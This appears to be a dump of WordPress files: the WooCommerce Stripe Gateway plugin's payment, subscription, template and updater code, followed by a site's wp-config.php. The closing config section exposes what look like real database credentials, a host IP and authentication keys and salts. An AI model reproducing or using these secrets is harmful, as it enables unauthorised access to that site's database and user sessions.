* Store the customer and card IDs on the order
*
* @param int $order_id
* @return array
*/
protected function save_meta( $order_id, $customer_id, $card_id ) {
update_post_meta( $order_id, '_stripe_customer_id', $customer_id );
update_post_meta( $order_id, '_stripe_card_id', $card_id );
}
/**
* Process the payment
*
* @param int $order_id
* @return array
*/
public function process_payment( $order_id, $retry = true ) {
// Processing subscription
if ( class_exists( 'WC_Subscriptions_Order' ) && WC_Subscriptions_Order::order_contains_subscription( $order_id ) ) {
return $this->process_subscription( $order_id, $retry );
// Processing pre-order or standard ordre
} else {
return parent::process_payment( $order_id, $retry );
}
}
/**
* scheduled_subscription_payment function.
*
* @param $amount_to_charge float The amount to charge.
* @param $order WC_Order The WC_Order object of the order which the subscription was purchased in.
* @param $product_id int The ID of the subscription product for which this payment relates.
* @access public
* @return void
*/
public function process_scheduled_subscription_payment( $amount_to_charge, $order, $product_id ) {
$result = $this->process_subscription_payment( $order, $amount_to_charge );
if ( is_wp_error( $result ) ) {
WC_Subscriptions_Manager::process_subscription_payment_failure_on_order( $order, $product_id );
} else {
WC_Subscriptions_Manager::process_subscription_payments_on_order( $order );
}
}
/**
* process_subscription_payment function.
*
* @access public
* @param mixed $order
* @param int $amount (default: 0)
* @param string $stripe_token (default: '')
* @param bool initial_payment
*/
public function process_subscription_payment( $order = '', $amount = 0, $initial_payment = false ) {
$order_items = $order->get_items();
$order_item = array_shift( $order_items );
$subscription_name = sprintf( __( 'Subscription for "%s"', 'woocommerce-gateway-stripe' ), $order_item['name'] ) . ' ' . sprintf( __( '(Order %s)', 'woocommerce-gateway-stripe' ), $order->get_order_number() );
if ( $amount * 100 < 50 ) {
return new WP_Error( 'stripe_error', __( 'Sorry, the minimum allowed order total is 0.50 to use this payment method.', 'woocommerce-gateway-stripe' ) );
}
// We need a customer in Stripe. First, look for the customer ID linked to the USER.
$user_id = $order->customer_user;
$stripe_customer = get_user_meta( $user_id, '_stripe_customer_id', true );
// If we couldn't find a Stripe customer linked to the account, fallback to the order meta data.
if ( ! $stripe_customer || ! is_string( $stripe_customer ) ) {
$stripe_customer = get_post_meta( $order->id, '_stripe_customer_id', true );
}
// Or fail :(
if ( ! $stripe_customer ) {
return new WP_Error( 'stripe_error', __( 'Customer not found', 'woocommerce-gateway-stripe' ) );
}
$currency = strtolower( $order->get_order_currency() ? $order->get_order_currency() : get_woocommerce_currency() );
$stripe_payment_args = array(
'amount' => $this->get_stripe_amount( $amount, $currency ),
'currency' => $currency,
'description' => $subscription_name,
'customer' => $stripe_customer,
'expand[]' => 'balance_transaction',
'capture' => ( $this->capture || ! $initial_payment ) ? 'true' : 'false'
);
// See if we're using a particular card
if ( $card_id = get_post_meta( $order->id, '_stripe_card_id', true ) ) {
$stripe_payment_args['source'] = $card_id;
}
// Charge the customer
$response = $this->stripe_request( $stripe_payment_args, 'charges' );
if ( ! is_wp_error( $response ) ) {
update_post_meta( $order->id, '_stripe_charge_id', $response->id );
add_post_meta( $order->id, '_transaction_id', $response->id, true );
if ( isset( $response->balance_transaction ) && isset( $response->balance_transaction->fee ) ) {
$fee = number_format( $response->balance_transaction->fee / 100, 2, '.', '' );
update_post_meta( $order->id, 'Stripe Fee', $fee );
update_post_meta( $order->id, 'Net Revenue From Stripe', $order->order_total - $fee );
}
if ( $response->captured ) {
update_post_meta( $order->id, '_stripe_charge_captured', 'yes' );
$order->add_order_note( sprintf( __( 'Stripe subscription charge complete (Charge ID: %s)', 'woocommerce-gateway-stripe' ), $response->id ) );
$order->payment_complete( $response->id );
} else {
update_post_meta( $order->id, '_stripe_charge_captured', 'no' );
$order->add_order_note( sprintf( __( 'Stripe subscription charge authorized (Charge ID: %s)', 'woocommerce-gateway-stripe' ), $response->id ) );
$order->reduce_order_stock();
}
}
return $response;
}
/**
* Don't transfer Stripe customer/token meta when creating a parent renewal order.
*
* @access public
* @param array $order_meta_query MySQL query for pulling the metadata
* @param int $original_order_id Post ID of the order being used to purchased the subscription being renewed
* @param int $renewal_order_id Post ID of the order created for renewing the subscription
* @param string $new_order_role The role the renewal order is taking, one of 'parent' or 'child'
* @return void
*/
public function remove_renewal_order_meta( $order_meta_query, $original_order_id, $renewal_order_id, $new_order_role ) {
if ( 'parent' == $new_order_role ) {
$order_meta_query .= " AND `meta_key` NOT IN ( '_stripe_customer_id', '_stripe_card_id', 'Stripe Fee', 'Net Revenue From Stripe', 'Stripe Payment ID' ) ";
}
return $order_meta_query;
}
/**
* Update the customer_id for a subscription after using Stripe to complete a payment to make up for
* an automatic renewal payment which previously failed.
*
* @access public
* @param WC_Order $original_order The original order in which the subscription was purchased.
* @param WC_Order $renewal_order The order which recorded the successful payment (to make up for the failed automatic payment).
* @param string $subscription_key A subscription key of the form created by @see WC_Subscriptions_Manager::get_subscription_key()
* @return void
*/
public function change_failing_payment_method( $original_order, $renewal_order, $subscription_key ) {
$new_customer_id = get_post_meta( $renewal_order->id, '_stripe_customer_id', true );
$new_card_id = get_post_meta( $renewal_order->id, '_stripe_card_id', true );
update_post_meta( $original_order->id, '_stripe_customer_id', $new_customer_id );
update_post_meta( $original_order->id, '_stripe_card_id', $new_card_id );
}
/**
* Render the payment method used for a subscription in the "My Subscriptions" table
*
* @since 1.7.5
* @param string $payment_method_to_display the default payment method text to display
* @param array $subscription_details the subscription details
* @param WC_Order $order the order containing the subscription
* @return string the subscription payment method
*/
public function my_subscriptions_recurring_payment_method( $payment_method_to_display, $subscription_details, $order ) {
// bail for other payment methods
if ( $this->id !== $order->recurring_payment_method || ! $order->customer_user ) {
return $payment_method_to_display;
}
$user_id = $order->customer_user;
$stripe_customer = get_user_meta( $user_id, '_stripe_customer_id', true );
// If we couldn't find a Stripe customer linked to the account, fallback to the order meta data.
if ( ! $stripe_customer || ! is_string( $stripe_customer ) ) {
$stripe_customer = get_post_meta( $order->id, '_stripe_customer_id', true );
}
// Card specified?
$stripe_card = get_post_meta( $order->id, '_stripe_card_id', true );
// Get cards from API
$cards = $this->get_saved_cards( $stripe_customer );
if ( $cards ) {
$found_card = false;
foreach ( $cards as $card ) {
if ( $card->id === $stripe_card ) {
$found_card = true;
$payment_method_to_display = sprintf( __( 'Via %s card ending in %s', 'woocommerce-gateway-stripe' ), ( isset( $card->type ) ? $card->type : $card->brand ), $card->last4 );
break;
}
}
if ( ! $found_card ) {
$payment_method_to_display = sprintf( __( 'Via %s card ending in %s', 'woocommerce-gateway-stripe' ), ( isset( $cards[0]->type ) ? $cards[0]->type : $cards[0]->brand ), $cards[0]->last4 );
}
}
return $payment_method_to_display;
}
}
# Copyright (C) 2015 WooCommerce Stripe Gateway
# This file is distributed under the same license as the WooCommerce Stripe Gateway package.
msgid ""
msgstr ""
"Project-Id-Version: WooCommerce Stripe Gateway 2.3.0\n"
"Report-Msgid-Bugs-To: http://wordpress.org/tag/woocommerce-gateway-stripe\n"
"POT-Creation-Date: 2015-01-31 21:01:18+00:00\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
"PO-Revision-Date: 2015-MO-DA HO:MI+ZONE\n"
"Last-Translator: FULL NAME <EMAIL@ADDRESS>\n"
"Language-Team: LANGUAGE <LL@li.org>\n"
#: includes/class-wc-gateway-stripe-addons.php:60
#: includes/class-wc-gateway-stripe-addons.php:173
#: includes/class-wc-gateway-stripe.php:399
msgid ""
"Please make sure your card details have been entered correctly and that your "
"browser supports JavaScript."
msgstr ""
#: includes/class-wc-gateway-stripe-addons.php:63
#: includes/class-wc-gateway-stripe-addons.php:176
#: includes/class-wc-gateway-stripe.php:402
msgid ""
"Developers: Please make sure that you are including jQuery and there are no "
"JavaScript errors on the page."
msgstr ""
#: includes/class-wc-gateway-stripe-addons.php:135
msgid "Error:"
msgstr ""
#: includes/class-wc-gateway-stripe-addons.php:162
#: includes/class-wc-gateway-stripe-addons.php:294
#: includes/class-wc-gateway-stripe.php:388
msgid ""
"Sorry, the minimum allowed order total is 0.50 to use this payment method."
msgstr ""
#: includes/class-wc-gateway-stripe-addons.php:291
msgid "Subscription for \"%s\""
msgstr ""
#: includes/class-wc-gateway-stripe-addons.php:291
msgid "(Order %s)"
msgstr ""
#: includes/class-wc-gateway-stripe-addons.php:308
msgid "Customer not found"
msgstr ""
#: includes/class-wc-gateway-stripe-addons.php:331
msgid "Stripe subscription payment completed (Charge ID: %s)"
msgstr ""
#: includes/class-wc-gateway-stripe-addons.php:405
#: includes/class-wc-gateway-stripe-addons.php:410
msgid "Via %s card ending in %s"
msgstr ""
#: includes/class-wc-gateway-stripe-addons.php:430
#: includes/class-wc-gateway-stripe.php:450
msgid "%s - Order %s"
msgstr ""
#: includes/class-wc-gateway-stripe-addons.php:462
#: includes/class-wc-gateway-stripe.php:487 woocommerce-gateway-stripe.php:128
msgid "Stripe charge complete (Charge ID: %s)"
msgstr ""
#: includes/class-wc-gateway-stripe-addons.php:471
#: includes/class-wc-gateway-stripe.php:496
msgid ""
"Stripe charge authorized (Charge ID: %s). Process order to take payment, or "
"cancel to remove the pre-authorization."
msgstr ""
#: includes/class-wc-gateway-stripe-addons.php:475
msgid "Stripe Transaction Failed (%s)"
msgstr ""
#: includes/class-wc-gateway-stripe-saved-cards.php:42
msgid "Unable to verify deletion, please try again"
msgstr ""
#: includes/class-wc-gateway-stripe-saved-cards.php:50
msgid "Unable to delete card."
msgstr ""
#: includes/class-wc-gateway-stripe-saved-cards.php:52
msgid "Card deleted."
msgstr ""
#: includes/class-wc-gateway-stripe.php:18
msgid "Stripe"
msgstr ""
#: includes/class-wc-gateway-stripe.php:19
msgid ""
"Stripe works by adding credit card fields on the checkout and then sending "
"the details to Stripe for verification."
msgstr ""
#: includes/class-wc-gateway-stripe.php:59
msgid "Continue to payment"
msgstr ""
#: includes/class-wc-gateway-stripe.php:63
msgid ""
"TEST MODE ENABLED. In test mode, you can use the card number "
"4242424242424242 with any CVC and a valid expiration date."
msgstr ""
#: includes/class-wc-gateway-stripe.php:117
msgid "Stripe error: Please enter your secret key <a href=\"%s\">here</a>"
msgstr ""
#: includes/class-wc-gateway-stripe.php:121
msgid "Stripe error: Please enter your publishable key <a href=\"%s\">here</a>"
msgstr ""
#: includes/class-wc-gateway-stripe.php:127
msgid ""
"Stripe error: Your secret and publishable keys match. Please check and re-"
"enter."
msgstr ""
#: includes/class-wc-gateway-stripe.php:133
msgid ""
"Stripe is enabled, but the <a href=\"%s\">force SSL option</a> is disabled; "
"your checkout may not be secure! Please enable SSL and ensure your server "
"has a valid SSL certificate - Stripe will only work in test mode."
msgstr ""
#: includes/class-wc-gateway-stripe.php:160
msgid "Enable/Disable"
msgstr ""
#: includes/class-wc-gateway-stripe.php:161
msgid "Enable Stripe"
msgstr ""
#: includes/class-wc-gateway-stripe.php:167
msgid "Title"
msgstr ""
#: includes/class-wc-gateway-stripe.php:169
msgid "This controls the title which the user sees during checkout."
msgstr ""
#: includes/class-wc-gateway-stripe.php:170
msgid "Credit card (Stripe)"
msgstr ""
#: includes/class-wc-gateway-stripe.php:173
msgid "Description"
msgstr ""
#: includes/class-wc-gateway-stripe.php:175
msgid "This controls the description which the user sees during checkout."
msgstr ""
#: includes/class-wc-gateway-stripe.php:176
msgid "Pay with your credit card via Stripe."
msgstr ""
#: includes/class-wc-gateway-stripe.php:179
msgid "Test mode"
msgstr ""
#: includes/class-wc-gateway-stripe.php:180
msgid "Enable Test Mode"
msgstr ""
#: includes/class-wc-gateway-stripe.php:182
msgid "Place the payment gateway in test mode using test API keys."
msgstr ""
#: includes/class-wc-gateway-stripe.php:186
msgid "Live Secret Key"
msgstr ""
#: includes/class-wc-gateway-stripe.php:188
#: includes/class-wc-gateway-stripe.php:194
#: includes/class-wc-gateway-stripe.php:200
#: includes/class-wc-gateway-stripe.php:206
msgid "Get your API keys from your stripe account."
msgstr ""
#: includes/class-wc-gateway-stripe.php:192
msgid "Live Publishable Key"
msgstr ""
#: includes/class-wc-gateway-stripe.php:198
msgid "Test Secret Key"
msgstr ""
#: includes/class-wc-gateway-stripe.php:204
msgid "Test Publishable Key"
msgstr ""
#: includes/class-wc-gateway-stripe.php:210
msgid "Capture"
msgstr ""
#: includes/class-wc-gateway-stripe.php:211
msgid "Capture charge immediately"
msgstr ""
#: includes/class-wc-gateway-stripe.php:213
msgid ""
"Whether or not to immediately capture the charge. When unchecked, the charge "
"issues an authorization and will need to be captured later. Uncaptured "
"charges expire in 7 days."
msgstr ""
#: includes/class-wc-gateway-stripe.php:217
msgid "Stripe Checkout"
msgstr ""
#: includes/class-wc-gateway-stripe.php:218
msgid "Enable Stripe Checkout"
msgstr ""
#: includes/class-wc-gateway-stripe.php:220
msgid ""
"If enabled, this option shows a \"pay\" button and modal credit card form on "
"the checkout, instead of credit card fields directly on the page."
msgstr ""
#: includes/class-wc-gateway-stripe.php:224
msgid "Stripe Checkout Image"
msgstr ""
#: includes/class-wc-gateway-stripe.php:225
msgid ""
"Optionally enter the URL to a 128x128px image of your brand or product. e.g. "
"<code>https://yoursite.com/wp-content/uploads/2013/09/yourimage.jpg</code>"
msgstr ""
#: includes/class-wc-gateway-stripe.php:230 templates/saved-cards.php:1
msgid "Saved cards"
msgstr ""
#: includes/class-wc-gateway-stripe.php:231
msgid "Enable saved cards"
msgstr ""
#: includes/class-wc-gateway-stripe.php:233
msgid ""
"If enabled, users will be able to pay with a saved card during checkout. "
"Card details are saved on Stripe servers, not on your store."
msgstr ""
#: includes/class-wc-gateway-stripe.php:265
msgid "Manage cards"
msgstr ""
#: includes/class-wc-gateway-stripe.php:270
msgid "%s card ending in %s (Expires %s/%s)"
msgstr ""
#: includes/class-wc-gateway-stripe.php:276
msgid "Use a new credit card"
msgstr ""
#: includes/class-wc-gateway-stripe.php:285
msgid "%s"
msgstr ""
#: includes/class-wc-gateway-stripe.php:286
msgid "Confirm and Pay"
msgstr ""
#: includes/class-wc-gateway-stripe.php:344
msgid "Please accept the terms and conditions first"
msgstr ""
#: includes/class-wc-gateway-stripe.php:345
msgid "Please fill in required checkout fields first"
msgstr ""
#: includes/class-wc-gateway-stripe.php:551
msgid "Refunded %s - Refund ID: %s - Reason: %s"
msgstr ""
#: includes/class-wc-gateway-stripe.php:584
msgid "Unable to add customer"
msgstr ""
#: includes/class-wc-gateway-stripe.php:608
msgid "Unable to add card"
msgstr ""
#: includes/class-wc-gateway-stripe.php:635
msgid "There was a problem connecting to the payment gateway."
msgstr ""
#: includes/class-wc-gateway-stripe.php:639
msgid "Empty response."
msgstr ""
#: templates/saved-cards.php:5
msgid "Card"
msgstr ""
#: templates/saved-cards.php:6
msgid "Expires"
msgstr ""
#: templates/saved-cards.php:13
msgid "%s card ending in %s"
msgstr ""
#: templates/saved-cards.php:14
msgid "Expires %s/%s"
msgstr ""
#: templates/saved-cards.php:19
msgid "Delete card"
msgstr ""
#: woocommerce-gateway-stripe.php:65
msgid "Settings"
msgstr ""
#: woocommerce-gateway-stripe.php:66
msgid "Support"
msgstr ""
#: woocommerce-gateway-stripe.php:67
msgid "Docs"
msgstr ""
#: woocommerce-gateway-stripe.php:126
msgid "Unable to capture charge!"
msgstr ""
#: woocommerce-gateway-stripe.php:162
msgid "Unable to refund charge!"
msgstr ""
#: woocommerce-gateway-stripe.php:164
msgid "Stripe charge refunded (Charge ID: %s)"
msgstr ""
#. Plugin Name of the plugin/theme
msgid "WooCommerce Stripe Gateway"
msgstr ""
#. Plugin URI of the plugin/theme
msgid "http://www.woothemes.com/products/stripe/"
msgstr ""
#. Description of the plugin/theme
msgid ""
"A payment gateway for Stripe (https://stripe.com/). A Stripe account and a "
"server with Curl, SSL support, and a valid SSL certificate is required (for "
"security reasons) for this gateway to function. Requires WC 2.1+"
msgstr ""
#. Author of the plugin/theme
msgid "Mike Jolley"
msgstr ""
#. Author URI of the plugin/theme
msgid "http://mikejolley.com"
msgstr ""
<h2 id="saved-cards" style="margin-top:40px;"><?php _e( 'Saved cards', 'woocommerce-gateway-stripe' ); ?></h2>
<table class="shop_table">
<thead>
<tr>
<th><?php esc_html_e( 'Card', 'woocommerce-gateway-stripe' ); ?></th>
<th><?php esc_html_e( 'Expires', 'woocommerce-gateway-stripe' ); ?></th>
<th></th>
</tr>
</thead>
<tbody>
<?php foreach ( $cards as $card ) :
if ( 'card' !== $card->object ) {
continue;
}
$is_default_card = $card->id === $default_card ? true : false;
?>
<tr>
<td><?php printf( __( '%s card ending in %s', 'woocommerce-gateway-stripe' ), $card->brand, $card->last4 ); ?>
<?php if ( $is_default_card ) echo '<br />' . __( '(Default)', 'woocommerce-gateway-stripe' ); ?>
</td>
<td><?php printf( __( 'Expires %s/%s', 'woocommerce-gateway-stripe' ), $card->exp_month, $card->exp_year ); ?></td>
<td>
<form action="" method="POST">
<?php wp_nonce_field ( 'stripe_del_card' ); ?>
<input type="hidden" name="stripe_delete_card" value="<?php echo esc_attr( $card->id ); ?>">
<input type="submit" class="button" value="<?php esc_attr_e( 'Delete card', 'woocommerce-gateway-stripe' ); ?>">
</form>
<?php if ( ! $is_default_card ) { ?>
<form action="" method="POST" style="margin-top:10px;">
<?php wp_nonce_field ( 'stripe_default_card' ); ?>
<input type="hidden" name="stripe_default_card" value="<?php echo esc_attr( $card->id ); ?>">
<input type="submit" class="button" value="<?php esc_attr_e( 'Make Default', 'woocommerce-gateway-stripe' ); ?>">
</form>
<?php } ?>
</td>
</tr>
<?php endforeach; ?>
</tbody>
</table>
<?php
/**
* WC Dependency Checker
*
* Checks if WooCommerce is enabled
*/
class WC_Dependencies {
private static $active_plugins;
public static function init() {
self::$active_plugins = (array) get_option( 'active_plugins', array() );
if ( is_multisite() )
self::$active_plugins = array_merge( self::$active_plugins, get_site_option( 'active_sitewide_plugins', array() ) );
}
public static function woocommerce_active_check() {
if ( ! self::$active_plugins ) self::init();
return in_array( 'woocommerce/woocommerce.php', self::$active_plugins ) || array_key_exists( 'woocommerce/woocommerce.php', self::$active_plugins );
}
}
<?php
/**
* Functions used by plugins
*/
if ( ! class_exists( 'WC_Dependencies' ) )
require_once 'class-wc-dependencies.php';
/**
* WC Detection
*/
if ( ! function_exists( 'is_woocommerce_active' ) ) {
function is_woocommerce_active() {
return WC_Dependencies::woocommerce_active_check();
}
}
/**
* Queue updates for the WooUpdater
*/
if ( ! function_exists( 'woothemes_queue_update' ) ) {
function woothemes_queue_update( $file, $file_id, $product_id ) {
global $woothemes_queued_updates;
if ( ! isset( $woothemes_queued_updates ) )
$woothemes_queued_updates = array();
$plugin = new stdClass();
$plugin->file = $file;
$plugin->file_id = $file_id;
$plugin->product_id = $product_id;
$woothemes_queued_updates[] = $plugin;
}
}
/**
* Load installer for the WooThemes Updater.
* @return $api Object
*/
if ( ! class_exists( 'WooThemes_Updater' ) && ! function_exists( 'woothemes_updater_install' ) ) {
function woothemes_updater_install( $api, $action, $args ) {
$download_url = 'http://woodojo.s3.amazonaws.com/downloads/woothemes-updater/woothemes-updater.zip';
if ( 'plugin_information' != $action ||
false !== $api ||
! isset( $args->slug ) ||
'woothemes-updater' != $args->slug
) return $api;
$api = new stdClass();
$api->name = 'WooThemes Updater';
$api->version = '1.0.0';
$api->download_link = esc_url( $download_url );
return $api;
}
add_filter( 'plugins_api', 'woothemes_updater_install', 10, 3 );
}
/**
* WooUpdater Installation Prompts
*/
if ( ! class_exists( 'WooThemes_Updater' ) && ! function_exists( 'woothemes_updater_notice' ) ) {
/**
* Display a notice if the "WooThemes Updater" plugin hasn't been installed.
* @return void
*/
function woothemes_updater_notice() {
$active_plugins = apply_filters( 'active_plugins', get_option('active_plugins' ) );
if ( in_array( 'woothemes-updater/woothemes-updater.php', $active_plugins ) ) return;
$slug = 'woothemes-updater';
$install_url = wp_nonce_url( self_admin_url( 'update.php?action=install-plugin&plugin=' . $slug ), 'install-plugin_' . $slug );
$activate_url = 'plugins.php?action=activate&plugin=' . urlencode( 'woothemes-updater/woothemes-updater.php' ) . '&plugin_status=all&paged=1&s&_wpnonce=' . urlencode( wp_create_nonce( 'activate-plugin_woothemes-updater/woothemes-updater.php' ) );
$message = '<a href="' . esc_url( $install_url ) . '">Install the WooThemes Updater plugin</a> to get updates for your WooThemes plugins.';
$is_downloaded = false;
$plugins = array_keys( get_plugins() );
foreach ( $plugins as $plugin ) {
if ( strpos( $plugin, 'woothemes-updater.php' ) !== false ) {
$is_downloaded = true;
$message = '<a href="' . esc_url( admin_url( $activate_url ) ) . '">Activate the WooThemes Updater plugin</a> to get updates for your WooThemes plugins.';
}
}
echo '<div class="updated fade"><p>' . $message . '</p></div>' . "\n";
}
add_action( 'admin_notices', 'woothemes_updater_notice' );
}
/**
* Prevent conflicts with older versions
*/
if ( ! class_exists( 'WooThemes_Plugin_Updater' ) ) {
class WooThemes_Plugin_Updater { function init() {} }
}
\ No newline at end of file
<?php
/*
Plugin Name: WooCommerce Stripe Gateway
Plugin URI: http://www.woothemes.com/products/stripe/
Description: A payment gateway for Stripe (https://stripe.com/). A Stripe account and a server with Curl, SSL support, and a valid SSL certificate is required (for security reasons) for this gateway to function. Requires WC 2.1+
Version: 2.6.12
Author: WooThemes
Author URI: http://woothemes.com
Text Domain: woocommerce-gateway-stripe
Domain Path: /languages
Copyright: © 2009-2014 WooThemes.
License: GNU General Public License v3.0
License URI: http://www.gnu.org/licenses/gpl-3.0.html
Stripe Docs: https://stripe.com/docs
*/
if ( ! defined( 'ABSPATH' ) ) {
exit;
}
/**
* Required functions
*/
if ( ! function_exists( 'woothemes_queue_update' ) ) {
require_once( 'woo-includes/woo-functions.php' );
}
/**
* Plugin updates
*/
woothemes_queue_update( plugin_basename( __FILE__ ), 'b022f53cd049144bfd02586bdc0928cd', '18627' );
/**
* Main Stripe class which sets the gateway up for us
*/
class WC_Stripe {
/**
* Constructor
*/
public function __construct() {
define( 'WC_STRIPE_VERSION', '2.6.12' );
define( 'WC_STRIPE_TEMPLATE_PATH', untrailingslashit( plugin_dir_path( __FILE__ ) ) . '/templates/' );
define( 'WC_STRIPE_PLUGIN_URL', untrailingslashit( plugins_url( basename( plugin_dir_path( __FILE__ ) ), basename( __FILE__ ) ) ) );
define( 'WC_STRIPE_MAIN_FILE', __FILE__ );
// required files
require_once( 'includes/class-wc-gateway-stripe-logger.php' );
// Actions
add_filter( 'plugin_action_links_' . plugin_basename( __FILE__ ), array( $this, 'plugin_action_links' ) );
add_action( 'plugins_loaded', array( $this, 'init' ), 0 );
add_filter( 'woocommerce_payment_gateways', array( $this, 'register_gateway' ) );
add_action( 'woocommerce_order_status_on-hold_to_processing', array( $this, 'capture_payment' ) );
add_action( 'woocommerce_order_status_on-hold_to_completed', array( $this, 'capture_payment' ) );
add_action( 'woocommerce_order_status_on-hold_to_cancelled', array( $this, 'cancel_payment' ) );
add_action( 'woocommerce_order_status_on-hold_to_refunded', array( $this, 'cancel_payment' ) );
}
/**
* Add relevant links to plugins page
* @param array $links
* @return array
*/
public function plugin_action_links( $links ) {
$addons = ( class_exists( 'WC_Subscriptions_Order' ) || class_exists( 'WC_Pre_Orders_Order' ) ) ? '_addons' : '';
$plugin_links = array(
'<a href="' . admin_url( 'admin.php?page=wc-settings&tab=checkout&section=wc_gateway_stripe' . $addons ) . '">' . __( 'Settings', 'woocommerce-gateway-stripe' ) . '</a>',
'<a href="http://support.woothemes.com/">' . __( 'Support', 'woocommerce-gateway-stripe' ) . '</a>',
'<a href="http://docs.woothemes.com/document/stripe/">' . __( 'Docs', 'woocommerce-gateway-stripe' ) . '</a>',
);
return array_merge( $plugin_links, $links );
}
/**
* Init localisations and files
*/
public function init() {
if ( ! class_exists( 'WC_Payment_Gateway' ) ) {
return;
}
// Includes
include_once( 'includes/class-wc-gateway-stripe.php' );
include_once( 'includes/class-wc-gateway-stripe-saved-cards.php' );
if ( class_exists( 'WC_Subscriptions_Order' ) || class_exists( 'WC_Pre_Orders_Order' ) ) {
include_once( 'includes/class-wc-gateway-stripe-addons.php' );
// Support for WooCommerce Subscriptions 1.n
if ( ! function_exists( 'wcs_create_renewal_order' ) ) {
include_once( 'includes/deprecated/class-wc-gateway-stripe-addons-deprecated.php' );
}
}
$this->load_plugin_textdomain();
}
/**
* Load Localisation files.
*
* Note: the first-loaded translation file overrides any following ones if
* the same translation is present.
*
* Locales found in:
* - WP_LANG_DIR/woocommerce-gateway-stripe/woocommerce-gateway-stripe-LOCALE.mo
* - WP_LANG_DIR/plugins/woocommerce-gateway-stripe-LOCALE.mo
*/
public function load_plugin_textdomain() {
$locale = apply_filters( 'plugin_locale', get_locale(), 'woocommerce-gateway-stripe' );
$dir = trailingslashit( WP_LANG_DIR );
load_textdomain( 'woocommerce-gateway-stripe', $dir . 'woocommerce-gateway-stripe/woocommerce-gateway-stripe-' . $locale . '.mo' );
load_plugin_textdomain( 'woocommerce-gateway-stripe', false, dirname( plugin_basename( __FILE__ ) ) . '/languages/' );
}
/**
* Register the gateway for use
*/
public function register_gateway( $methods ) {
if ( class_exists( 'WC_Subscriptions_Order' ) || class_exists( 'WC_Pre_Orders_Order' ) ) {
// Support for WooCommerce Subscriptions 1.n
if ( class_exists( 'WC_Subscriptions_Order' ) && ! function_exists( 'wcs_create_renewal_order' ) ) {
$methods[] = 'WC_Gateway_Stripe_Addons_Deprecated';
} else {
$methods[] = 'WC_Gateway_Stripe_Addons';
}
} else {
$methods[] = 'WC_Gateway_Stripe';
}
return $methods;
}
/**
* Capture payment when the order is changed from on-hold to complete or processing
*
* @param int $order_id
*/
public function capture_payment( $order_id ) {
$order = wc_get_order( $order_id );
if ( $order->payment_method == 'stripe' ) {
$charge = get_post_meta( $order_id, '_stripe_charge_id', true );
$captured = get_post_meta( $order_id, '_stripe_charge_captured', true );
if ( $charge && $captured == 'no' ) {
$stripe = new WC_Gateway_Stripe();
$result = $stripe->stripe_request( array(
'amount' => $order->order_total * 100,
'expand[]' => 'balance_transaction'
), 'charges/' . $charge . '/capture' );
if ( is_wp_error( $result ) ) {
$order->add_order_note( __( 'Unable to capture charge!', 'woocommerce-gateway-stripe' ) . ' ' . $result->get_error_message() );
} else {
$order->add_order_note( sprintf( __( 'Stripe charge complete (Charge ID: %s)', 'woocommerce-gateway-stripe' ), $result->id ) );
update_post_meta( $order->id, '_stripe_charge_captured', 'yes' );
// Store other data such as fees
update_post_meta( $order->id, 'Stripe Payment ID', $result->id );
if ( isset( $result->balance_transaction ) && isset( $result->balance_transaction->fee ) ) {
update_post_meta( $order->id, 'Stripe Fee', number_format( $result->balance_transaction->fee / 100, 2, '.', '' ) );
update_post_meta( $order->id, 'Net Revenue From Stripe', ( $order->order_total - number_format( $result->balance_transaction->fee / 100, 2, '.', '' ) ) );
}
}
}
}
}
/**
* Cancel pre-auth on refund/cancellation
*
* @param int $order_id
*/
public function cancel_payment( $order_id ) {
$order = wc_get_order( $order_id );
if ( $order->payment_method == 'stripe' ) {
$charge = get_post_meta( $order_id, '_stripe_charge_id', true );
if ( $charge ) {
$stripe = new WC_Gateway_Stripe();
$result = $stripe->stripe_request( array(
'amount' => $order->order_total * 100
), 'charges/' . $charge . '/refund' );
if ( is_wp_error( $result ) ) {
$order->add_order_note( __( 'Unable to refund charge!', 'woocommerce-gateway-stripe' ) . ' ' . $result->get_error_message() );
} else {
$order->add_order_note( sprintf( __( 'Stripe charge refunded (Charge ID: %s)', 'woocommerce-gateway-stripe' ), $result->id ) );
delete_post_meta( $order->id, '_stripe_charge_captured' );
delete_post_meta( $order->id, '_stripe_charge_id' );
}
}
}
}
}
new WC_Stripe();
<?php
define('COOKIE_DOMAIN', 'reize.com.au'); // Added by W3 Total Cache
/** Enable W3 Total Cache */
define('WP_CACHE', true); // Added by W3 Total Cache
/**
* The base configuration for WordPress
*
* The wp-config.php creation script uses this file during the
* installation. You don't have to use the web site, you can
* copy this file to "wp-config.php" and fill in the values.
*
* This file contains the following configurations:
*
* * MySQL settings
* * Secret keys
* * Database table prefix
* * ABSPATH
*
* @link https://codex.wordpress.org/Editing_wp-config.php
*
* @package WordPress
*/
// ** MySQL settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define('DB_NAME', 'reize');
/** MySQL database username */
define('DB_USER', 'reizedbadmin');
/** MySQL database password */
define('DB_PASSWORD', 'W0mbatSoup2217$!');
/** MySQL hostname */
define('DB_HOST', '52.65.125.87');
/** Database Charset to use in creating database tables. */
define('DB_CHARSET', 'utf8mb4');
/** The Database Collate type. Don't change this if in doubt. */
define('DB_COLLATE', '');
/**#@+
* Authentication Unique Keys and Salts.
*
* Change these to different unique phrases!
* You can generate these using the {@link https://api.wordpress.org/secret-key/1.1/salt/ WordPress.org secret-key service}
* You can change these at any point in time to invalidate all existing cookies. This will force all users to have to log in again.
*
* @since 2.6.0
*/
define('AUTH_KEY', 'V+5$kQc$P^9t.y=;vE+[bk]I1;rv{f&@IB^wtG7j2c*YgDhE4;4V)0ecw#qH{aWk');
define('SECURE_AUTH_KEY', '(_omZj<.sM]e^SeR9Wsa(tFD=+&s%/>:q||~=4b),X h|=U=R1-T<A7gbDl$E)_&');
define('LOGGED_IN_KEY', 'xI]XyHNdc|nqj]>,mV6k|c<[i>yT{eBppBo9YE#k9+XM|Rg5;},S~@vli!#^Cq&z');
define('NONCE_KEY', '1nVNP(KU-+mfjY9{K,5v#W@H&h<*X+z]i_iAN_l+_S-^@BA?[]o(]kRq7-:WJoG{');
define('AUTH_SALT', ',<B<mzQ8H+2{RPcXqQnX@|rD1m$xn`T7]^arOYiO*n?CS|9h2&%w1fJE]rw:ma+&');
define('SECURE_AUTH_SALT', '.eR]rND|@Y4%z99_D3NUa#Ep+<ToUBIb^@f&9]w)Q-AtbEOF+l0ZkUH(/Im+S:fZ');
